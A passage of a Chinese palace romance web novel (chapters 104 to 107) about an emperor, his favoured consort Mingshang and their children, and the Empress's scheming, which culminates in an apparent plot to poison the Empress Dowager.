李怀修要安儿叫父皇,安儿圆溜溜的眼珠转来?转去,小脸憋得鼓了起来?,卯足了劲儿也只会说嗒嗒,大底是这父皇二字对她实在困难,这时?候,明裳抱着的绥儿忽然开口冒出一句,“父……父父……” 明裳眉眼弯弯,眸子亮亮的,“皇上,绥儿会说父皇了呢!” 柔和的光晕打过女子的面庞,铺上一抹柔色。 李怀修自?是听到了儿子叫他?,他?心口生出一处柔软,去握儿子的小手,那只胖乎乎的小手还没他?的手指大,却握住了他?的指骨,唤着他?父亲,他?没有动,眼眸很沉,酸酸涩涩,仿佛在这世上冥冥中有了更深的羁绊。 …… 圣旨下令不?再春选,满朝哗然,朝臣争相劝谏皇上此举不?妥,李怀修不?耐烦地听着,理也未理。下了朝李怀修吩咐御史?台将那些对他?圣旨不?满之人一一挑出来?,寻到错处,直接打发出京。三日后,劝谏之声消了下去,又过五日,再没人敢提此事。 而?在后宫,皇后终于坐不?住了。 她忍了宓妃独宠这么久,就?是在等待今年春选,新人进宫,新进的秀女分去宓妃的圣宠,她再寻个时?机在膝下抚养一个皇嗣,可如?今皇上一纸令下,不?再新选,她原先打过的算盘全都落了空。 皇后如?今看似是中宫主?位,可皇上早已不?到她的坤宁宫中,即便是陪伴宝珠,也是直接吩咐宫人带着宝珠去乾坤宫见皇上。她主?掌六宫之权更是旁落到了贤妃手里,三皇子孱弱,定是不?能成事。他?日只能是大皇子和二皇子去争那个位子,宓妃与张贵嫔又无一人忠心于她。 心身俱疲之下,皇后头风发作,疼了整整三天,太医接连不?断进出坤宁宫。直到第四日,看诊的太医去了钟粹宫,后午,她才?得知,三皇子高热不?治,太医束手无策。 入夜,三皇子薨逝。 皇后忍着头疾,乘坐仪仗前去钟粹宫看望三皇子,至宫门前遭宫人阻拦,皇上有令,六宫不?必前去探视,三皇子薨后丧仪交由贤妃操办。皇上是还在怒她,皇后面容霎时?血色褪去,回宫后一病不?起,头风更加严重。 三皇子猝然夭折,皇上痛悼不?已,废朝三日,下旨追封英王,特赐谥号福慧,命鸿胪寺霍远侯监护,少卿文义思?使护丧,厚葬于北氓昭陵。 春日渐暖,今岁的寒冬尤为不?好过。三皇子的夭折仿似成了一片阴云,笼罩在皇城之上,直至乍暖春来?,才?渐渐消散。 三皇子生来?不?足,胎里弱症,六宫心知肚明养不了多久,然真正到了这一日,仍是让人唏嘘。年关后本该到了太后娘娘寿辰,因三皇子猝然夭折,太后精神?不?济,宫里便没再大办。 这日,全福海抹了把额头的热汗,皇上用过晚膳就歇在了宓妃娘娘这儿,遣他?回南书房拿博古架上那本策论,全福海紧赶慢赶终于送回了永和宫。 他?埋着头,压根不?敢多看案后的皇上娘娘,悄声送了书,退出内殿。 殿中,明裳伏身作画,男人脸色淡淡地站在身后,手掌握着她的手腕,垂着眼,面容专注冷峻。 画了一会儿,明裳手腕就?开始发酸,但这位好似并没有停下的意思?,明裳轻咬住下唇,手也不?动了,任由男人牵着她在宣纸上涂抹。 李怀修有所察觉,睨去一眼,拧着眉峰,冷冷嗤道:“究竟是你求着朕学,还是朕上赶着要教你?” 明裳瘪瘪唇瓣,转身讨好地伏到他?怀中,脸蛋仰起来?,美目盈盈,波光流转,“自?然是嫔妾求着皇上学,皇上字画绝伦,嫔妾仰慕不?已。” 究竟是仰慕他?的字画,还是别?的什么,李怀修自?然清楚,这女子的心思?也不?加掩饰,还说得这般冠冕堂皇。 李怀修捏了把她的脸蛋,将人从怀里扯下来?,慢条斯理道:“你这字画实无天资,朕要教好你怕是花上些心血功夫。” 明裳眸子浅浅眨了下,听得出这是玩笑?之言,但并未如?从前一般跟男人娇嗔胡闹。 她其实有所感觉,自?三皇子夭折后,皇上心情一直算不?上好,皇上面上不?显,她有心要劝,也不?知如?何开口。 这位许是坐在这个位子上已经习惯了这样不?动声色,什么事都藏在心里,人前仍是那个喜怒不?形于色的君王。她暗自?叹息一声,回头抱住李怀修的腰身,埋入男人怀中,想说点?儿什么,“臣妾最近厨艺精进了,皇上想吃什么臣妾做给皇上。” 李怀修手掌抚着她垂落的青丝,漫不?经心道:“朕又不?缺厨子,总去庖厨仔细伤了手。” 其实也没什么话要说,选秀作罢后,前朝后宫风平浪静,李怀修待在永和宫陪这女子消磨了大半日,说些有的没的。 明裳撑起脸蛋,忽然想起来?,“臣妾记得东山行宫臣妾生病那日,皇上说回宫后要与臣妾回虞府。” “皇上可是当真?” 那日明裳迷迷糊糊的,回宫这段日子倒是忘了。她没对此抱多少希望,父亲非皇上重臣,皇上能准她回去探望双亲已是天恩,怎能还陪她一同回去。 李怀修拧了拧眉,要陪她回虞府不?是不?可,只是自?己的身份却有些麻烦,她在家中也会不?自?在。 “你想让朕同去?” 他?问。 明裳想象圣驾亲临自?家胡同的情形,不?禁想笑?,皇上陪着她确实太大张旗鼓,过于张扬了些,怕是家里会诚惶诚恐,自?己根本和父亲说不?上几?句话。 她忍笑?摇摇头,“皇上准臣妾一人回去就?好了。” 李怀修准了。 安儿扶着人慢慢学会了走路,一摆一摆的像个小鸭子,明裳牵着安儿在床榻上走来?走去,安儿觉得新鲜,咯咯直笑?。 明裳夸她,她就?会拍手要抱抱,要是做错了事,明裳不?高兴,她似有察觉母妃不?高兴,揪着小手,委屈一张小脸也要抱抱,看的人心都要化了,打小就?会撒娇。 她走到床榻边上,张手要父皇抱。李怀修过去抱起女儿,粉雕玉琢的小团子,脖颈戴的是莲花纹缠金枝长命锁,裹着豆绿绣蝶织锦坎肩,挂一双嵌着飞鸟如?意的虎头鞋,众星捧月,生来?天家金贵。 李怀修抓着女儿的手,免得握到他?对襟的珠子塞到嘴里,“朕小时?候比安儿淘气,太后为逼着朕读书识字,伺候笔墨的小厮都是有些身手的,但凡朕偷溜出去,就?把朕绑到椅背上,动弹不?得,只能盯着先生教授的课业。” 皇上很少跟明裳提及自?己,她不?禁惊讶,忍俊不?禁,好奇地顺着往下问,“那后来?呢?” 安儿困意来?得快,许是学走路太累,脑袋一歪,歪歪扭扭地由父皇抱着睡得深沉。李怀修把安儿交给乳母,拂袖坐到明裳身侧,眸底浅笑?,“后来?朕被绑得太久,就?睡着了,太后气得夜里亲自?看着朕,朕背不?下那两页书,不?准朕去睡。” 其实他?看过两遍就?记住了,只是那时?年纪小,性子叛逆些,羡慕九弟有父皇和梅妃疼爱,整日可以玩乐,他?却见不?到父皇几?回,母妃又严厉,只会一味逼迫他?跟着先生去学课业。后来?再过两年他?就?懂了,也更沉稳了,不?会再羡慕九弟,因为他?清楚,那些都不?属于他?,强求不?得。 先帝皇子十余之众,做先帝的皇子,哪是那么容易的。明裳望着这位渐渐淡下的脸色,忽然不?想再听下去了,她默不?作声地伏在男人胸怀,故作娇嗔,“皇上要是这样绑着绥儿,臣妾可不?依。” 李怀修回神?,凝着女子的脸,目光如?月光柔和。 第105章 第 105 章 寿康宫 三?皇子薨后, 太后身体有恙,皇后头风痊愈就时常去寿康宫侍候太后。 赵月儿捧着香炉退出内殿,皇后坐在床榻旁侧为太后捏腿, “姑母服过那?副方?子, 可觉好些了?” 那?是萧家?在宫外寻的调理身子的秘方?,也经手太医院看?过, 可得用,太后吃了一段日子,确实见好。 太后倚靠着引枕, 即使在病重,鬓发仍旧梳理得一丝不苟,她拍了拍皇后的手臂,对皇后近日平静下的心性颇为赞许,“哀家?身子好了许多, 你有心了。” “都是侄女应该做的。”皇后眉心间生出一抹忧愁, “姑母身子不爽利, 侄女也是心忧。” 她犹豫稍许,觑着太后微阖起的眼,继续开口?, “姑母也知皇上下旨不再春选, 本也是无妨,只?是如今后宫零落,皇上身边无人?,难免有不妥之处。” 太后本以为皇后是定了性子,不想仍是不甘心。太后不动声色地捻着佛珠, 皇后心急也情有可原,皇后性子像极了年轻时候的她, 后宫皇子没有一个养在自己身边,怎会甘心。 但她答应皇帝不会再管选秀。 太后阖眼沉默良久,“圣令已下,事已至此,你管好后宫,尽了自己的本分就是。” 仅是如此? 皇后撑不住脸上的表情,太后的意思,是不再管她了吗? 皇后深呼了两息,迫不得已地低下头,顺从,“侄女记得了,谨遵姑母教诲。” 待回了坤宁宫,皇后挥手打翻了案上的茶盏,后宫如今的形势对她极为不利,宓妃受宠,难保不会挑唆皇上册立自己的儿子为太子,张贵嫔又是个不理世事的性子,她想拉拢,几次吃了暗亏。 宫人?们退到外殿,没人?敢在娘娘震怒的时候进去,宝珠要去见母后,刚走到外殿,就被嬷嬷哄去了书房写字。 文?竹小心地捡起案上茶盏的碎屑,以免割伤娘娘的手,她望着娘娘,涩声哽咽地劝道:“奴婢看?宓妃娘娘也是和气的,不如娘娘待宓妃娘娘好些,日后二皇子自然?亲近娘娘。” 皇后脸色骤冷,厉声斥她,“本宫是六宫之主,何以讨好区区一下位妃嫔!” 捡着碎瓷的指尖儿一抖,文?竹惊得扑通跪下身子,请皇后恕罪。 皇后不耐烦地拧起眉心,即便宓妃受宠,但当真从未做过错事么? 她眯了眯眼,思忖中?记起东山狩猎,皇上重重降罪的徐采女。徐采女究竟用了什么手段对付宓妃,至今未走漏半分风声。 皇后睇向跪地的文?竹,“本宫要你去办一件事。” …… 后午李怀修去马场跑马,李怀洲进宫,陪皇兄练了剑。手中?的长虹剑挑落在地,李怀洲手臂猛震了震,被逼迫得连连后退,逼到高台的围栏上,勉强稳住身形。他甘拜下风地抱拳认输,“皇兄剑术远在臣弟之上。” 李怀修将手持的玄铁剑扔给随侍,笑了一声,“永照疏于练武,朕得再择一位先生好好教教你。” 屡屡比试,屡屡输给皇兄,李怀洲挫已经足够挫败,皇兄居然?要给他请先生,李怀洲大呼皇兄饶命。 李怀修没搭理他,走下台阶,接了随侍递来的帕子抹掉颈后的汗水,全福海瞧见皇上立即上前,“皇上,永和宫来人?传话,询问晚膳皇上要吃些什么,宓妃娘娘吩咐膳房去做。” 不知何时皇上几乎是将寝宫定在了宓妃娘娘那?儿,一日里有两顿饭都是在宓妃娘娘那?儿吃。全福海也习惯了带话,李怀修记得昨儿个她鼓捣出的莲子羹尚是可口?,极为清热,点了莲子羹,其余的由明裳去做。全福海领了话,转身跑去通禀。 李怀洲被皇兄逼迫,不止勤于习武,也捡起了落下诸多的课业。皇兄近来似乎心情不错,甚至得闲问他看?中?哪家?女子,为他指婚。李怀洲简直受宠若惊,皇兄待他脾气从没这么好过。 入夜,永和宫暖阁布好饭菜,明裳净了手,挽袖坐到圆凳上,为李怀修盛上羹汤,“今儿这莲子是臣妾亲手剥的,皇上快些尝尝。” 李怀修搅动着调羹,没等尝上一口?,殿外全福海有要事要禀,说是前朝有大臣更夜进宫求见皇上。李怀修不得已起身,鎏金的袖袍被一只?柔荑扯住了,明裳小脸不悦,“皇上吃过晚膳再去吧。” 搁在以前,明裳是断不敢在这时候拦着李怀修的政务,但现在她胆子大了,也不忌讳那?些。 李怀修捏捏她的手腕,哄道:“你先吃,吃过了放去膳房热着,朕处理过政事就回来。” 两人的相处一日比一日自然?,李怀修见她还是生气,无奈地低笑一声,让她听话,摆驾回了乾坤宫。 皇上一走,明裳看?着大桌子的饭菜也没了胃口?,那?位忙起来没个时辰。明裳招来宫人?将晚膳放到食盒里,拿去乾坤宫。 至深夜,李怀修靠到銮座上揉着眉心,问全福海几时了。全福海低头回话,又道:“宓妃娘娘派人?来过,说皇上忙得太晚,太累就在寝宫歇下吧。” 全福海也是这么想的,皇上再起驾去永和宫,一来一回要耽搁些时辰。明日皇上还有早朝,现在时候也不早了,皇上要早些歇息,注意龙体才是。 李怀修点了点头,歇在乾坤宫。 翌日下了早朝,早膳摆在暖阁,全福海从殿外得信,不敢耽搁,进去通禀给皇上。 “皇上,昨夜皇后娘娘的人?去了冷宫探望徐采女。” 铛—— 李怀修扔下调羹,脸色沉下来,一手搭在案上,“去做什么?” 全福海也不好说去做什么,皇后娘娘这事儿做得隐秘,料想不会是什么好事。 他斟酌回话,“许是要问徐采女一些事。” 李怀修摆手让侍膳的宫人?退下,拂袖起身,“去坤宁宫。” 彼时坤宁宫中?,皇后陪着宝珠用过早膳,今日她要去寿康宫侍奉太后,没让六宫过来问安。宝珠跑出去玩儿,皇后坐到妆镜前梳妆,忽然?得知圣驾到坤宁宫的消息,她神情惊愕,心头骤然?砰跳两声,冷眼看?向文?竹,“本宫交给你的事查的怎么样了?” 文?竹摇头,“娘娘,徐采女不肯说。” 皇后抿紧唇,“什么该说,什么不该说,你心里清楚。” 文?竹神色惊惶,垂头应话,小心翼翼地伸手扶娘娘起身,去殿外迎驾。 纵使圣驾许久未来皇后宫中?,身为六宫之主,内务府仍不敢轻易怠慢。 皇后面?容温柔如常,唤宫人?送进茶水,“宝珠用过早膳,有嬷嬷陪着跑出去玩了,臣妾今日原是想去寿康宫侍奉母后,母后用过那?方?子身子已是见好,臣妾日日抄写经文?,祈祷母后身子康健,为母后祈福,为皇上祈福。” 李怀修拨着拇指的扳指,扫一眼凭几温热的茶水,听皇后说后宫中?事,他垂着眼,脸色很淡。 “朕听说皇后昨夜派人?去了冷宫。” 皇后手心微紧,她没有立刻回话,起了身子,对着李怀修低眼福身,温声解释:“是臣妾昨日想起徐采女曾在东山马场陷宓妃于危难,臣妾也不想后宫有这种不明不白的事,故而才遣人?过去 询问。” 她一言一语,不卑不亢,身为皇后,主持六宫无可厚非。 李怀修勾唇笑了一声,眸底却是极为冰冷,“皇后想查明其中?实情,不如直接问朕,岂不是更加方?便。” 皇后愕然?抬眼,脸色越来越白,她知道皇上已经动怒了,可她想查明实情又有何错,皇上居然?这般袒护宓妃。她是皇上的发妻,至今没有皇子,皇上可否想过她的苦楚。 她双唇轻颤,最终满腹的难堪只?化作一句,“臣妾不敢。” 皇后捏紧手中?的帕子,眼泪落下来,她如今已是进退两难,皇上是不会让她再查下去,她忍不住道:“皇上宠爱宓妃,臣妾不敢多加置喙。” “但皇上可曾想过,宓妃与臣妾等人?有何不同?她那?样攀附于您,也不过是为了您能?给她的权势地位,皇上宠爱宓妃至此,可想过她真的值得皇上这样做!” 李怀修脸色阴沉,直接厉声打断皇后,“放肆!” 皇后倏然?噤声,面?色苍白地不敢再语。 殿内没留着伺候的宫人?,悄然?无声,李怀修拂袖起身,幽暗如墨的双目淡淡扫了眼跪在地上失魂落魄的皇后,金线暗纹的龙袍金尊玉贵,冷硬薄情。 “朕能?让你萧氏坐在皇后的位子,是念在太后的情面?,既然?你不想要皇后之位,朕随时都能?成全于你。” …… 皇上从坤宁宫出来,脸色就跟腊月的冰似的,冷得能?掉出冰渣,全福海一句不敢多问,连伺候都极为谨慎小心。 白日皇上在前朝理政,至夜去永和宫,全福海琢磨要不要提前给宓妃娘娘通个气,思来想去,他没敢自作聪明,皇上最不喜自作聪明的奴才,他还是缄口?不言为好,免得不知道什么时候掉了脑袋。 这夜李怀修很没有耐心,他闷不吭声地要着身下的女子,明裳一整日心思都在孩子身上,真到这会儿,后知后觉这位今日似乎心情不好,她一双手臂被钳在头顶,雪白的双腿抖得没有力气,她开始有些害怕。 李怀修黑沉的眼掀起时,从女子一双清亮的雪眸中?,看?出了她的惧意,也看?清了,自己此时面?无表情的脸有多狰狞骇人?。 即便是这样的怕他,可还在隐忍着不适,极力迎合,为讨他欢心。 她这样乖巧懂事,李怀修不知道自己究竟在气什么。 这时,乳母又抱着啼哭的安儿到殿外请宓妃娘娘。眼下的情形实在奇怪,明裳红着脸推了推男人?的胸口?,李怀修放开她,坐起身,明裳穿好衣裳去外面?哄安儿。哭声渐渐消了下去,明裳走回来,李怀修已经换了衾衣,神色疲惫地倚着引枕,想到方?才情形,明裳趴伏到男人?怀里,犹豫地问皇上今日可是遇到了什么烦心事,不高兴了。 李怀修微微一顿,戴着白玉扳指的手抚过明裳雪白的侧脸,薄唇微抿,最终只?轻描淡写道了一句:“无事。” 第106章 第 106 章 明裳是在春末回的虞府。 禁军开道, 数十余宫人随侍,装匣各种名贵之物二十余箱,一众人马浩浩荡荡行向梧桐胡同。 皇子公主?留在宫中, 李怀修批阅着奏折, 就听见了小公主?的一阵哭声。他这个女儿是个能哭的,饿了要哭, 醒了要哭,见不到她娘亲也?要哭,李怀修无奈地放下朱笔, 走去寝殿,果真见乳母手忙脚乱地哄着安儿,越哄哭得越是厉害。 宓妃娘娘出宫省亲,小公主?见不到娘亲是要哭的,乳母不敢去殿外扰皇上处理政务, 哄不好小公主?, 急得后背出了层层的热汗。 见到皇上进殿, 忙跪身请罪。 李怀修抬手让她起身,把?女儿接到怀里,安儿揉揉湿漉漉的眼珠子, 见到是父皇, 抽咽两声,哭音儿慢慢消下去了,去揪父皇对襟,留出两道皱巴巴的痕迹。 小家伙儿满一岁了,黏人得这样厉害。李怀修不禁头疼女儿的性子, 他抬手让两个乳母下去,抱着女儿坐去床榻, 边去看着儿子。 绥儿是乖的,自己扶着床幔,慢慢练习走路,走得累了,就坐到父皇身边一个人玩。 全福海进殿通禀的时候,见皇上居然在寝宫照看着皇子公主?,画面实?在惊悚。全福海忙传话,说左军都督求见。 安儿已是不哭了,李怀修总不能抱着孩子去处理政事,他吩咐全福海把?乳母召进来,又问宓妃出宫多久了。 全福海回,宓妃娘娘离开三?个时辰了,宫门落锁之前,宓妃娘娘就会回宫了。 时至傍晚,德喜瞧着天?色实?在不早,提醒宓妃娘娘该起行回宫了。明裳难得见一回爹爹娘亲,转眼离别,不知什么时候才能再见到,万分?不舍。 她红着眼圈上了仪仗,与父母告别,回了皇城。 回到宫中,她见皇上的仪仗居然在永和宫,守门的小太监立即过来说皇上半刻钟前到永和宫,正在殿里等着娘娘。 明裳匆匆进了宫门,只见殿内凭几后,李怀修抱着安儿坐在榻上给绥儿读书,安儿听得懵懵懂懂,一会儿去抓父皇的下巴捣乱。 她抿唇,忍不住想笑。 时过境迁,她倒底不再是虞家的姑娘,而是这宫里的娘娘。 李怀修听到动静,抬眼见她回来,眼光柔下,招手让她过来,“见到你父母了?” 明裳点?头近了前,李怀修自然地把?女儿儿子都丢到床榻里,揽臂去抱住她,低目时见她眼圈仍红着,双目微深。 她离开他时,从未这样哭过。 李怀修不动声色地移开了眼,没有多问什么,他也?不想知道那个答案。 “皇上在读什么呢?” 明裳好奇问道。 李怀修一脸沉静,淡声,“给绥儿启蒙的。” 两只小团子被父皇丢开,一个模样坐在窄榻里,眼珠子一眨不眨地盯着父皇怀里的母妃。安儿最先反应过来,张开小手脆生生地要母妃抱。 明裳抿唇笑,把?女儿抱到怀里,亲了亲儿子的脸蛋。 到了夜里,两个孩子睡了,被送去偏殿,李怀修问她今日回虞府都做了什么,明裳一一说了,其?实?也?没什么事,陪父母说说话,吃了娘亲做的饭菜,带回宫一些?自己闺中时的东西?。 父亲如今在朝中已经?很有地位了,恍然如梦的感觉,她忽然觉得很幸运,主?动凑过去,亲了亲李怀修的下巴,软乎乎的,“臣妾好想永远这样。” 难得她这样主?动,李怀修也?被她亲得有些?迷糊,眼眸幽暗地提了提明裳的腰身,嗓音沉哑,“永远这样什么?” 明裳面如云霞娇美,眸子似水似雾,腰臀被男人的手掌揉得发痒,她面越红,眸越羞,“永远过这样的日子。” “有皇上宠爱臣妾,有两个可爱的孩子,还?能去看望双亲。” 李怀修将她压在身下,呼吸很重,他吻着她的唇,喉结往下滚着,“那你呢?” “什么?”明裳被亲得晕晕乎乎的,很自然得容纳下男人,她像浮在了云上,飘飘忽忽。 李怀修捻她耳珠,深深浅浅,“想见你的父母,思念你的孩子,那你待朕呢?” 那你待朕呢? 她以前喜欢柳絮白,是觉得女子就该嫁给大表哥那样谦谦温和的君子。曾经?的大魏皇帝是她仰望敬畏而不敢去想的存在。 明裳说不清对这位其?中的情愫,因为他们本就无法像世间寻常的男女夫妻那样平等,她现在甚至算不上皇上的妻子。 她手腕在男人掌中,姣好的身姿在明亮的宫灯下愈发夺目,玲珑柔美。 似是等待得太久,男人渐渐隐怒,失了耐性,不轻不重打了她臀一掌,做以惩罚。明裳咬唇,呜咽一声,颤颤巍巍地睁开眸子,像只待宰的猎物,柔软,脆弱。 她娇娇软软地流着情韵的泪水,“皇上不一样的。” “皇上什么都有,可是臣妾只有皇上,皇上心情好了就会给臣妾,心情不好了,厌弃了臣妾,臣妾就会过得很苦。” 李怀修动作渐渐停住,垂眸凝向这人哭花的小脸,那样可爱,这么久以来,可算是能与他说句实?话。 男人仍放在她里面,又不动,怪奇怪的。 明裳面如皎花照水,肌肤生粉,娇喘微微,她小声去问,“皇上还?在生气吗?” 李怀修设想过她再回他曾经?那些?敷衍哄着的答案,她难得坦诚一回,还?这样小心翼翼,怕他生气不喜。 他脸色难辨,颇不是滋味。 她比之入宫时已经?亲近他许多。 李怀修看回她的眼,薄唇启开,“朕不生气了。” 他的权势地位,注定了他二人的隔阂,他不该对她索要太多。 …… 册封皇贵妃的圣旨是在六月初送去的永和宫,册封大典整整行了两日,两个小团子翘首以盼母妃回来,母妃已经?是皇贵妃了。 明裳去乾坤宫谢恩,李怀修刚去南书房与朝臣议政,待他回殿时,殿内不见明裳,乳母不知何时抱着安儿过来,女儿正霸着他的龙椅玩儿,乳母诚惶诚恐地垂着脑袋,见到他,吓得扑通跪到地上,要把?小公主?抱走。李怀修不在意地挥退了乳母,亲自把?女儿抱到怀里,安儿已经?会说很多字,能清楚地唤他父皇。 李怀修忍不住点?了点?女儿的眉心,宠溺道:“跟你母妃一样胆子大。” 安儿却只听到了母妃二字,小手抓着父皇的衣袖,咿咿呀呀地喊“母妃”。 “你母妃呢?”李怀修问她。 安儿糯糯地回父皇,“母妃,睡觉,觉觉……” 李怀修听懂了。 他抱起安儿走去寝殿,果然见那女子着皇贵妃地服饰,倚着窄榻阖目小憩,脸蛋被压出两道褶子,大底这两日是真累到她了。 安儿也?是乖,见母妃在睡,安安静静地不出声。李怀修跟她商量让她先回永和宫找哥哥玩儿,安儿不想离开母妃,但哥哥也?蛮好玩儿的,她纠结一会儿,委屈巴巴地答应父皇,又小声道:“母妃,回。” 李怀修一本正经?地点?头,“母妃醒了,父皇就送母妃回去。” 安儿回去后,是玩得累了,呼呼先睡了过去,她自然不知道父皇在骗她,父皇总是与她抢着和母妃睡觉,父皇不在的时候,她晚上总能有母妃陪的。父皇那么大的人了,睡觉也?要母妃陪着,安儿觉得很生气。 …… 七月,明裳诊出了身孕,皇上龙心大悦,特?在各州设立棚户,收留乞丐流民,为皇贵妃腹中皇嗣积攒福德,万民大呼万岁。 太后如今不理后宫事务,听闻宓妃再度有孕,也?是高兴的,吩咐月儿开私库送了好些?赏赐。 明裳有孕不能再如以前去抱两个小团子,安儿抱不到母妃,被冷落下,可怜巴巴,李怀修便无政事,日日留在永和宫里,边照应孩子,边陪着明裳。明裳这一胎怀得轻松,没什么忌口,若非是自己未来两个月月信,她几乎没有察觉自己有了身孕。 有两日皇上没到她这里,明裳不禁担心,是不是前朝出了什么棘手的事。偏生御前的人瞒得紧,只回一切都好,到第三?日,她终于见到皇上,她想问,张口却料想这位也?不会与她明说。皇上一向有定算,她问东问西?的,也?帮不上忙,便也?作罢。 入夜,李怀修拥着怀中的人,沉思良久,缓缓道:“朕许要离宫几日。” 明裳仰起脸,呼吸微紧,不知是不是孕中敏感,她居然酸了鼻尖儿,“皇上要离开多久,有危险吗?” “一定要去吗?臣妾会和孩子们都舍不得皇上。” 分?明是极为柔软的人,却不费吹灰之力,就将他拴住了。 而今,他总算是听到了这女子说舍不得自己。 李怀修搂着她的手臂收紧,吻了吻女子的眉眼,“不会有危险的,朕不能与你明说,不过朕会很快回来。” “朕留下朕的金令,见此令如见朕面,拿着它,没人敢动你。” 又不放心道:“这几日全福海也?留在永和宫,他跟着,朕总能放心些?。” 翌日一早,明裳醒时,枕边凉凉,她喉咙生堵,怅然失落。 皇上离开的第一日,全福海变着法地哄皇贵妃娘娘开心,明裳却不觉得有什么开心的,她抚着肚子,才渐渐觉出,自己居然这样习惯了那位陪着自己。 第二日,全福海气喘吁吁送进宫外的书信,寥寥几字,明裳择人研磨,先是写了满满两页,后又觉得读起来实?在牙酸,只改做了三?个字。 “盼君归。” 那位说出宫几日便回,但已经?过去小半月,宫外凡有动静,明裳都要忍不住看上两眼,月香怕娘娘累着身子,吩咐殿外洒扫动静小些?,别再扰娘娘出去。 然明裳还?没等到皇上回宫,后宫先生了事,她有孕后每日闭门不出,这日钟粹宫的宫女慌里慌张过来传信,求她救救张贵嫔。 明裳听得一头雾水,那小宫女才颠三?倒四得说明缘由。原来是近日太后忽然病重,钦天?监占星言是张贵嫔与太后娘娘相克,皇后就做主?为保太后凤体,逐张贵嫔去寺庙静修,还?将大皇子抱过去亲自抚养,张贵嫔如今要被送出宫了。 全福海是不想皇贵妃参与这事儿,他劝道:“娘娘怀着皇嗣,身子金贵,磕碰不得,不如等皇上回宫处置。” 这事皇后做得顺遂,焉知等皇上回宫,张贵嫔可还?有命在。更?何况皇后有了嫡子,下一步必是要对她出手。 明裳没再犹豫,唤绘如去告知贤妃,贤妃有前朝势力,定有法子对付钦天?监的胡言,她取出皇上留给她的金令交给辛小五,立即拦截送张贵嫔离宫的车辇,又命月香即刻去太医院,将当值的太医都传去寿康宫。 她安排完,看向全福海,“劳烦全公公与本宫一同去看望太后。” 全福海惊了下,开始敬服了皇贵妃娘娘的处事手腕,皇贵妃娘娘这雷厉风行的作风与皇上是越来越像了。 【终章】 第107章 第 107 章 寿康宫 赵月儿坐在床榻边捧着汤药侍奉太后, 她眸子通红,搅动手中的调羹,始终没敢喂到太后嘴里。 一旁站着的宫女急声催促道:“赵姑娘再搅一会?儿, 这汤药就该凉了, 怎能给太后娘娘吃冷掉的药?” 赵月儿手腕一抖,她僵硬地垂下眸子, 迟迟没有动作。 皇上离宫第二?日?,太后娘娘的身子忽然不大?爽利,太医院宋太医过来看过, 只道是着了风寒,开了药方,吃过几日?,太后身子不仅不见好,反而愈发?严重, 整日?昏昏沉沉, 以致现在起不得身子。皇后传钦天监, 说是有灾星克了太后凤体,也不等太后清醒,抱养了大?皇子, 将张贵嫔送出宫为太后祈福。 太后昏迷不醒, 赵月儿情急之下要?再去太医院请别的太医诊脉,却被皇后的人软禁在这寿康宫里。 直到现在,赵月儿再蠢笨,也猜测出了其中缘由。 这碗汤药,根本不能喂给太后! 看着她的宫女见赵月儿仍不见动静, 不耐烦地连声催促,“赵姑娘这是做什么!太后娘娘病重, 赵姑娘合该伺候太后娘娘吃药才是!” 赵月儿一抿唇,搁下手中的汤药,忍不住泪流满面,她扑通跪到地上,哀求那个宫女,“求这位姐姐引月儿去求见皇后娘娘,太后娘娘是皇后娘娘的嫡亲姑母,皇后娘娘不能这么做,这碗汤药不能给太后娘娘吃啊!” 她早该劝说太后回永州的,宫中是非之地,人心叵测,太后年岁大?了,何必要?管那些闲事,不该留下来。 那小宫女脸上有一抹慌乱,仍强撑着颐气指使,“赵姑娘这是什么意思??皇后娘娘尽心服侍太后娘娘,全然是为太后娘娘身子着想!大?皇子无人抚养,皇后娘娘时刻离不得,分身乏术,哪得闲见赵姑娘。” 赵月儿见她态度坚决,面色苍白,害怕皇后当真那么绝情,一不做二?不休。她跪到床榻旁,握住了太后日?渐枯槁的双手,泪如泉水般涌出。 她不能让太后出事,可皇上不在宫中,她该怎么办。 在她无措之际,殿外忽然急步进来一个宫人,神色惊慌,她悄悄对看着的宫女说了两?句话,赵月儿隐约听到皇贵妃三?字,她呼吸骤紧,接着便听那宫人提到皇后。 …… 宝珠习了字,拿给母后去看,可母后抱着大?弟弟,皱眉把她赶了出去。她见过大?弟弟,不过这不是张贵嫔为父皇生的皇子吗,怎么会?在母后身边?宝珠不解,她没敢再进殿惹母后心烦,失落地捧着自己写的字,出殿时,没留神撞到太医院的太医,她避开身子,回自己的寝殿。 宋太医脚步匆匆,头冒冷汗,“皇后娘娘,太后娘娘的身子不能拖下去了,须得即刻服用解药!” 皇后不耐地压了压眉心,“张贵嫔出宫了么?” 这个时辰,当是才到左银门。 文竹摇头,“从宫里出去到佛心寺,还须三?个时辰。” 她觑着皇后娘娘的脸色,不禁捏了把汗,娘娘此举,倘若不成,就再无回头之路了。 她想求娘娘就此收手,都被娘娘呵斥回去。 皇后抿唇,攥着凭几一角的指尖渐渐发?白,“再等等。” 她闭了闭眼,要?为侄女铺路,姑母只能再撑一撑,多吃些苦了。 宋太医是害怕再拖延下去,太后娘娘当真是要?折损凤体,可他?一家老小都在皇后手里,他?额头冷汗涔涔,最?终没敢多言什么。 这时传话的小太监急跑进来通禀,“皇后娘娘,皇贵妃带着太医院一众太医,已?赶到寿康宫,坚持要?为太后娘娘诊脉!” …… “请皇贵妃娘娘恕罪,太后娘娘凤体欠佳,须得静养,皇后娘娘有令,任何人不得进去打扰。” 守在寿康宫的宫女名唤冬时,是皇后提拔上来的大?宫女。冬时不卑不亢地弓着身子,拦住要?进去的皇贵妃,守在寿康宫的宫人换了一波,此时都是皇后宫里的亲信。 明裳抚着肚子,睨着她眯了眯眼,“既然太后娘娘凤体抱恙,本宫带了太医院当值太医为太后娘娘看诊,是理所应当,何来打扰之说?” 她脸色一厉,“还不给本宫让开!” 冬时被她陡然发?作吓得一抖,仍是没敢违背皇后的意思?,只躬着身子道:“请皇贵妃娘娘恕罪。” “你这宫女好大的胆子!”全福海候在明裳一侧,“皇上出宫前责令皇贵妃娘娘与皇后娘娘,贤妃娘娘一同协理六宫,皇贵妃娘娘的话,你也敢不听吗!” 他?伸手点着冬时,“仔细你的脑袋!” 冬时硬着头皮,面色煞白,仍没敢轻易让开,“请皇贵妃娘娘恕罪。” 明裳冷笑一声,正要?让人扣下这寿康宫看着的宫人,皇后在这时进了内殿,“皇贵妃好大?的阵仗!” 殿内候着的太医院太医们揣着明白装糊涂,在后宫两?位高位娘娘面前不敢吭上一声。皇后娘娘是六宫之主,皇贵妃娘娘地位仅次于?皇后,又养育皇子,深受圣眷,显然今日?的事不会?轻易揭过去。 